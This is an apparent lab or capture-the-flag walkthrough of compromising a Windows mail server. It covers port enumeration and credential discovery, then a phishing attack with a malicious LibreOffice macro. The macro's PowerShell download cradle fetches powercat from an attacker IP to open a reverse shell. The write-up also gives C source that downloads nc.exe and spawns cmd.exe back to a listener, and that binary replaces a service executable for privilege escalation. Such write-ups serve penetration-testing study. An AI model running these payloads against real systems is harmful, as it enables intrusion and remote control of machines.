Nmap

PORT     STATE SERVICE       VERSION
25/tcp   open  smtp          Mercury/32 smtpd (Mail server account Maiser)
|_smtp-commands: localhost Hello nmap.scanme.org; ESMTPs are:, TIME
79/tcp   open  finger        Mercury/32 fingerd
| finger: Login: Admin         Name: Mail System Administrator\x0D
| \x0D
|_[No profile information]\x0D
106/tcp  open  pop3pw        Mercury/32 poppass service
110/tcp  open  pop3          Mercury/32 pop3d
|_pop3-capabilities: EXPIRE(NEVER) UIDL APOP USER TOP
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
143/tcp  open  imap          Mercury/32 imapd 4.62
|_imap-capabilities: OK IMAP4rev1 X-MERCURY-1A0001 complete AUTH=PLAIN CAPABILITY
443/tcp  open  ssl/http      Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.3.23)
| http-methods: 
|   Supported Methods: POST OPTIONS HEAD GET TRACE
|_  Potentially risky methods: TRACE
| ssl-cert: Subject: commonName=localhost
| Issuer: commonName=localhost
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2009-11-10T23:48:47
| Not valid after:  2019-11-08T23:48:47
| MD5:     a0a4 4cc9 9e84 b26f 9e63 9f9e d229 dee0
| SHA-1:   b023 8c54 7a90 5bfa 119c 4e8b acca eacf 3649 1ff6
|_SHA-256: 0169 7338 0c0f 1df0 0bd9 593e d8d5 efa3 706c d6df 7993 f614 1272 b805 22ac dd23
|_http-title: Time Travel Company Page
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.3.23
445/tcp  open  microsoft-ds?
8000/tcp open  http          Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.3.23)
|_http-title: Time Travel Company Page
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.3.23
| http-methods: 
|   Supported Methods: POST OPTIONS HEAD GET TRACE
|_  Potentially risky methods: TRACE
PORT      STATE SERVICE
25/tcp    open  smtp
79/tcp    open  finger
105/tcp   open  csnet-ns
106/tcp   open  pop3pw
110/tcp   open  pop3
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
143/tcp   open  imap
443/tcp   open  https
445/tcp   open  microsoft-ds
2224/tcp  open  efi-mg
5040/tcp  open  unknown
8000/tcp  open  http-alt
11100/tcp open  unknown
20001/tcp open  microsan
33006/tcp open  unknown
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown
PORT      STATE SERVICE VERSION
2224/tcp  open  http    Mercury/32 httpd
|_http-title: Mercury HTTP Services
5040/tcp  open  unknown
11100/tcp open  vnc     VNC (protocol 3.8)
| vnc-info: 
|   Protocol version: 3.8
|   Security types: 
|_    Unknown security type (40)
20001/tcp open  ftp     FileZilla ftpd 0.9.41 beta
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -r--r--r-- 1 ftp ftp            312 Oct 20  2020 .babelrc
| -r--r--r-- 1 ftp ftp            147 Oct 20  2020 .editorconfig
| -r--r--r-- 1 ftp ftp             23 Oct 20  2020 .eslintignore
| -r--r--r-- 1 ftp ftp            779 Oct 20  2020 .eslintrc.js
| -r--r--r-- 1 ftp ftp            167 Oct 20  2020 .gitignore
| -r--r--r-- 1 ftp ftp            228 Oct 20  2020 .postcssrc.js
| -r--r--r-- 1 ftp ftp            346 Oct 20  2020 .tern-project
| drwxr-xr-x 1 ftp ftp              0 Oct 20  2020 build
| drwxr-xr-x 1 ftp ftp              0 Oct 20  2020 config
| -r--r--r-- 1 ftp ftp           1376 Oct 20  2020 index.html
| -r--r--r-- 1 ftp ftp         425010 Oct 20  2020 package-lock.json
| -r--r--r-- 1 ftp ftp           2454 Oct 20  2020 package.json
| -r--r--r-- 1 ftp ftp           1100 Oct 20  2020 README.md
| drwxr-xr-x 1 ftp ftp              0 Oct 20  2020 src
| drwxr-xr-x 1 ftp ftp              0 Oct 20  2020 static
|_-r--r--r-- 1 ftp ftp            127 Oct 20  2020 _redirects
|_ftp-bounce: bounce working!
| ftp-syst: 
|_  SYST: UNIX emulated by FileZilla
33006/tcp open  mysql   MariaDB 10.3.24 or later (unauthorized)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Enumeration

SMTP on port 25.

Finger on port 79.

Info

Port 79 is the default port for Finger, a protocol that answers “who is on this host and what are they doing” over cleartext TCP. Query it and a finger daemon hands back logged-in users, real names, login and idle times, home directory, login shell, and whatever the user left in their .plan and .project files. It’s a relic of pre-web Unix, but you still trip over it on old servers and network gear — and when you do, it’s a free user list.

We get an Admin user

There is also an nmap scan for this, though it gives us no additional information.

There is a finger-user-enum tool that I also ran against a wordlist to enumerate more users.

POP3 on 110. Looks like we get blacklisted when scanning the service. Connecting with nc confirms this.

RPC on 135. We may be able to see user and/or domain info, but finger may give us this info as well. I used Impacket’s rpcdump and grabbed some endpoint info.

SMB is running on 139 and 445. Access is denied.

IMAP on 143.

On 443 there is a website with some employee names. One of the employees has what looks like a password in place of their job title. These might prove useful later. The website also lives on port 8000. Gobuster finds nothing of note.

A Mailing List Subscriber Services tool lives on 2224. Some of the links go to localhost:2224, so I’m thinking this is not supposed to be an exposed port. It is Powered by Mercury/32.

There are some exploits for this tool:

VNC is running on port 11100.

A FileZilla FTP server is running on port 20001. Anonymous login is allowed and nmap gives us a listing of the directory. There is an index.html file inside - indicating that this is possibly a web-root directory - so if we can upload to the server we may be able to get a shell on the machine. I don’t, however, believe that it is the web root of the site running on 443 and 8000.

Note also that nmap tells us that ftp-bounce is working.

Info

An FTP bounce attack is a network security exploit where an attacker uses the File Transfer Protocol (FTP) PORT command to route data or scan ports through a vulnerable FTP server (acting as a proxy) to target a third-party machine.

Finally, mysql is running on port 33006.

To recap, we have:

  • A user Admin
  • A mailing list tool with known exploits
  • A wide open FTP server

Investigating FTP

I grabbed README.md and took a peek. This is a blog-demo, so definitely not the site on 443 and 8000.

In fact, it looks like it’s supposed to be on 8080. But there is nothing running on 8080. Rabbit hole?

There were some other open ports, so I tested those to see if it’s living on some obscure port. It is not.

Investigating POP3

Since we identified jonas as a user, we can try the string on the web page to log in to pop3. It works, and we can retrieve his mail. There is a mention of LibreOffice. We also identify another user, mailadmin@localhost.

There is a github repository that contains an exploit for LibreOffice that creates a malicious macro that runs when the document is opened. From the contents of one of the emails, it appears that the mail server processes these files. We can probably create the malicious file and use a phishing attack to trigger the payload.

Exploitation

It looks like mailadmin is already expecting a spreadsheet, so we will use the .ods version of the exploit.

To get RCE, we need to modify the build-payload line so that it downloads powercat.ps1 and runs it to connect back to our listener.

build_payload = (f'IEX(New-Object System.Net.WebClient).DownloadString("http://192.168.45.240/powercat.ps1");powercat -c {ip} -p {port} -e powershell')

Then we send the payload with jonas.

After a little while, we get a hit on our server that’s hosting the file, and also drop into a shell on our listener.

We are now inside the system running as ela arwel. We grab local.txt from their desktop.

Privilege Escalation

We run winPEAS on the box and find an executable running in C:\Users\Ela Arwel\Veyon.

I had to get assistance with this part, but we can make a script that will grab nc.exe from our python http server and run it on the target - connecting back to our listener.

#include <stdlib.h>  
#include <stdio.h>  
  
#define ATTACKER_IP "192.168.45.221"  
#define ATTACKER_PORT "8888"  
  
int main(void) {  
    char downloadCmd[512];  
    char reverseShellCmd[512];  
  
    // Build the download command using PowerShell's Invoke-WebRequest  
    snprintf(downloadCmd, sizeof(downloadCmd),  
        "if not exist C:\\Users\\Public\\nc.exe powershell -Command \"iwr -Uri http://%s/nc.exe -OutFile C:\\Users\\Public\\nc.exe\"",  
        ATTACKER_IP);  
    system(downloadCmd);  
  
    // Build the reverse shell command using netcat  
    snprintf(reverseShellCmd, sizeof(reverseShellCmd),  
        "C:\\Users\\Public\\nc.exe %s %s -e cmd.exe",  
        ATTACKER_IP, ATTACKER_PORT);  
    system(reverseShellCmd);  
  
    return 0;  
}

Then we compile on our Kali system and transfer it to the target.

x86_64-w64-mingw32-gcc --static -o shell.exe shell.c

Finally, we rename the current executable and replace it with our shell script.

move veyon-service.exe veyon-service.exe.old
move shell.exe "C:\Users\Ela Arwel\Veyon\veyon-service.exe"

Then we restart and wait for hits on our http server and penelope listener.

Done!